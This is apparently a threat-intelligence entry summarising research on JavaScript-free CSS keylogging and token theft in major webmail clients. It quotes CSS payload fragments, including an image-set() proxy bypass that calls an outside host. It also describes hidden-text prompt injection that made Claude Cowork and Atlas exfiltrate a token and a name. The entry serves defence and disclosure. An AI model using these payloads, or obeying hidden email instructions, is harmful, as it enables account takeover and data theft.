CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft Attacks Against Gmail, Outlook, Yahoo Mail, AOL Mail, Fastmail, and ProtonMail

CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft (TL-2026-1956), also tracked as CSS Bomb, is a high-severity software vulnerability, first published 2026-08-09. It has no confirmed attribution, affects Microsoft Outlook (webmail), maps to 10 MITRE ATT&CK / ATLAS techniques (AML.T0051, T1027, T1056), and is covered by 9 detection rules and 6 indicators of compromise.

Key facts for TL-2026-1956

Threat ID
TL-2026-1956
Also known as
CSS Bomb, CSS: The Bomb Inside Your Inbox
Severity
HIGH
Status
ACTIVE
Category
VULNERABILITY
First published
2026-08-09
Last reviewed
2026-08-09
Attribution confidence
LOW
Motivation
UNKNOWN
Target sectors
technology, government administration, finance, health, consumer
Target regions
Global
Detection rules
9
Indicators of compromise
6

Malware and tooling in CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft

Malware and tooling: Hackvertor, Shazzer

PortSwigger researcher Gareth Heyes' Black Hat USA 2026 talk 'CSS: The Bomb Inside Your Inbox' demonstrates that CSS alone -- no JavaScript -- can keylog password-disguised dropdowns, brute-force login tokens via attribute selectors, and hijack UI elements across six major webmail platforms, with chains that also weaponize hidden CSS to prompt-inject AI email agents (Claude Cowork, OpenAI Atlas). Fastmail and ProtonMail patched their reported bugs; Outlook's label-hijacking flaw and Gmail's image-set() sanitizer bypass remained unfixed as of the August 6, 2026 publication.

How CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft works

On August 6, 2026, PortSwigger researcher Gareth Heyes published "CSS: The Bomb Inside Your Inbox" (presented at Black Hat USA 2026) demonstrating that HTML-sanitized webmail clients remain exploitable through CSS mechanisms alone, without any JavaScript execution. The research chains together CSS mutation (hex-escape sequences that decode during CSSOM parsing, e.g. `@keyframes foo\7d\2a` becoming `@keyframes foo } *`), attribute-selector brute-forcing, and pseudo-element/pseudo-class abuse (`:before`, `:after`, `:has()`, `:checked`) to build a real-time, JavaScript-free keylogger and data-exfiltration primitive that fires a unique background-image (or image-set()) HTTP request to an attacker-controlled server for each character typed or selected.

Against Outlook, Heyes disguised a `<select>` dropdown as a password field using `-webkit-text-security:disc`, exploited a sanitizer parser-confusion bug (`@media --narrow-window;/*"*/.x_x{position:fixed}`) to break CSS containment, and abused Outlook's `<label for="...">` element to hijack arbitrary UI controls by ID (e.g. `RibbonModeToggle`) from within an email body -- reportedly still unresolved at publication. Against Firefox specifically, moving the disguised select element off-screen resets the browser's ~1-second key-repeat timer, letting the technique capture keystrokes in near real time and, in one chain, spoof a Microsoft sign-in screen to capture a recipient's password. Against Gmail, a `background:image-set(var(--x,'//02.rs'))` fallback bypasses the image-proxy sanitizer and forces an external request even when the primary URL is stripped -- also unpatched at publication. Fastmail's own allowlisted image-proxy domain was abused via an escaped-backslash payload (`content:url(/\5c/user.fm/uid.fastmail.com/track)`) to leak keystroke data visible in Fastmail's own access logs, alongside two separate CSS-mutation ('CSS hotwiring') bugs -- all three fixed, with Fastmail paying two $1,000 bounties. ProtonMail's image-proxy sanitizer was bypassed via ambiguous CSS comment syntax (`background:/*Url( Url(...)*url(//02.rs)`); Proton disputed the bug's classification before silently patching it months later.

Against Yahoo Mail and AOL Mail, Heyes found that Firefox retains inline CSS styling on pasted clipboard content for a brief window before sanitization runs (a race condition), which he weaponized -- using Hackvertor's "Copy as HTML" feature to build a malicious clipboard blob -- to steal a 12-character hex Medium.com login token embedded in a pasted callback URL. Nested CSS attribute selectors (`[attr^="start"]{&[attr*="middle"]{...}}`) brute-forced the token's first and last five characters via background-image requests, with server-side overlap logic recovering the middle two characters, enabling full account takeover without any script execution. A related font-metrics side channel used `@font-face` with `unicode-range` and `descent-override` to selectively enlarge individual digits, allowing digit-frequency counting via rendered height.

The research extends beyond human victims to AI email agents. Chaining the Gmail image-set() bypass with indirect prompt injection, a crafted email caused Anthropic's Claude Cowork (Gmail connector) to retrieve a Slack authentication token and place it into an HTML draft for exfiltration. A separate chain against OpenAI's Atlas AI browser hid malicious instructions inside a `:before` pseudo-element with `opacity:0.00000001` -- invisible to a human reader but present in the DOM text the AI model processes -- causing Atlas, when asked to "translate" the email, to follow the hidden instructions and exfiltrate the victim's name letter-by-letter via sequential URL loads to an attacker domain. No CVE or CVSS score has been assigned to any of these findings; PortSwigger has published proof-of-concept code for the techniques on GitHub.

MITRE ATT&CK / ATLAS techniques used in TL-2026-1956

Execution

AML.T0051 LLM Prompt Injection; T1204 User Execution

Stealth

T1027 Obfuscated Files or Information

Collection

T1056 Input Capture; T1056.001 Keylogging

Command and Control

T1071.001 Web Protocols

Credential Access

T1528 Steal Application Access Token; T1539 Steal Web Session Cookie

Initial Access

T1566 Phishing

Resource Development

T1583.001 Domains

Affected products and versions in CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft

  • Microsoft — Outlook (webmail)
    Vulnerable versions: web version, as tested through 2026-08-06
  • Google — Gmail (webmail)
    Vulnerable versions: web version, as tested through 2026-08-06
  • Fastmail — Fastmail webmail
    Vulnerable versions: web version, prior to fix
    Fixed in: patched two CSS mutation bugs, disclosed 2026-08-06
  • Proton — Proton Mail (webmail)
    Vulnerable versions: web version, prior to silent patch
    Fixed in: image-proxy bypass silently patched, exact version/date undisclosed
  • Yahoo — Yahoo Mail (webmail)
    Vulnerable versions: web version, as tested through 2026-08-06
  • AOL — AOL Mail (webmail)
    Vulnerable versions: web version, as tested through 2026-08-06
  • Anthropic — Claude Cowork (Gmail connector)
    Vulnerable versions: as tested through 2026-08-06
  • OpenAI — Atlas (AI browser)
    Vulnerable versions: as tested through 2026-08-06; product scheduled for discontinuation 2026-08-09

Remediation for CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft

Patches

  • Fastmail: patched two CSS mutation ('CSS hotwiring') bugs (bounty $1,000 each) reported by Gareth Heyes
  • ProtonMail: image-proxy sanitizer bypass silently patched months after initial report and dispute over bug classification

Immediate actions

  • Disable or strictly limit automatic remote-image loading in webmail clients to reduce the background-image exfiltration channel
  • Render untrusted HTML/CSS email content inside a sandboxed, srcdoc-isolated iframe with a restrictive Content-Security-Policy (no external image loads without user action)
  • Strip or neutralize high-risk CSS selectors and pseudo-classes in email sanitizers: :has(), :checked combined with adjacent-sibling selectors, and attribute selectors with wildcard/substring matching
  • Block CSS properties known to enable UI redress and text-security spoofing: position:fixed/absolute at document scope, -webkit-text-security, and z-index stacking on injected elements
  • Disallow custom/arbitrary HTML attributes on rendered email DOM nodes to prevent label-for targeting of the host application's own UI controls

Workarounds

  • Outlook users: avoid interacting with dropdown/select menus embedded in untrusted email bodies, and treat any password-style prompt appearing inside message content as suspicious
  • Gmail/Cowork users: disable or scope back automatic AI-agent processing of untrusted inbound email content until image-set() sanitizer bypass is fixed
  • Yahoo Mail/AOL Mail users: avoid pasting clipboard content containing URLs or tokens directly into message compose/reply fields sourced from untrusted copy actions

Longer-term hardening

  • Re-audit CSS/HTML sanitizers (e.g., DOMPurify configurations) specifically against CSSOM mutation via hex-escape sequences that decode after parsing, not just before
  • Treat image-proxy allowlist domains as a trust boundary that must itself resist path/query injection, not just enforce a domain allowlist
  • Fix the Firefox/Chrome clipboard paste-sanitization race that allows a short window of unsanitized inline CSS to render before cleanup
  • Require AI email/browser agents to treat all DOM text -- including near-zero-opacity or off-screen pseudo-element content -- as untrusted input equivalent to visible content, and apply prompt-injection detection to it
  • Adopt a standard CSP directive or webmail-specific policy that disables CSS-only network requests (background-image, image-set(), font src) originating from message-body content by default

Weaknesses (CWE) in CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft

CWE-451, CWE-116, CWE-441, CWE-1427

Timeline of CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft

  • Gmail's image-set() image-proxy sanitizer bypass is confirmed still exploitable as of the publication date, with no fix issued by Google.
  • Outlook's label-hijacking / select-menu keylogging chain is confirmed still exploitable as of the publication date, with no fix issued by Microsoft.
  • PortSwigger publishes proof-of-concept code for the CSS attack techniques to a public GitHub repository alongside the research write-up.
  • PortSwigger researcher Gareth Heyes publishes 'CSS: The Bomb Inside Your Inbox' at 22:00 UTC, presented at Black Hat USA 2026, detailing CSS-only keylogging and exfiltration chains across six webmail platforms plus AI-agent prompt-injection chains against Claude Cowork and OpenAI Atlas.
  • ProtonMail's CSS image-proxy sanitizer bypass, previously disputed by Proton over bug classification, is confirmed silently patched months after the original report when retested before publication.
  • Fastmail patches two CSS mutation ('CSS hotwiring') bugs reported by Gareth Heyes, paying two $1,000 bounties, ahead of public disclosure.
  • Independent commentary (mangodeveloper.com) contrasts vendors that acknowledged and fixed reported bugs against vendors reported to have dismissed the research publicly before quietly patching months later without crediting the disclosure.
  • The Hacker News and Security Affairs report on the research, highlighting the indirect prompt-injection risk to AI email agents (Claude Cowork, OpenAI Atlas) alongside the core webmail keylogging findings.
  • Cyber Security News republishes coverage of the CSS Bomb research, the article that seeded this threat entry's hunt phase.

Sources cited for CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft

Threats related to CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft

Detection coverage for TL-2026-1956

As of 2026-08-09, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1956 across Splunk SPL, Microsoft KQL and Sigma, covering 6 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats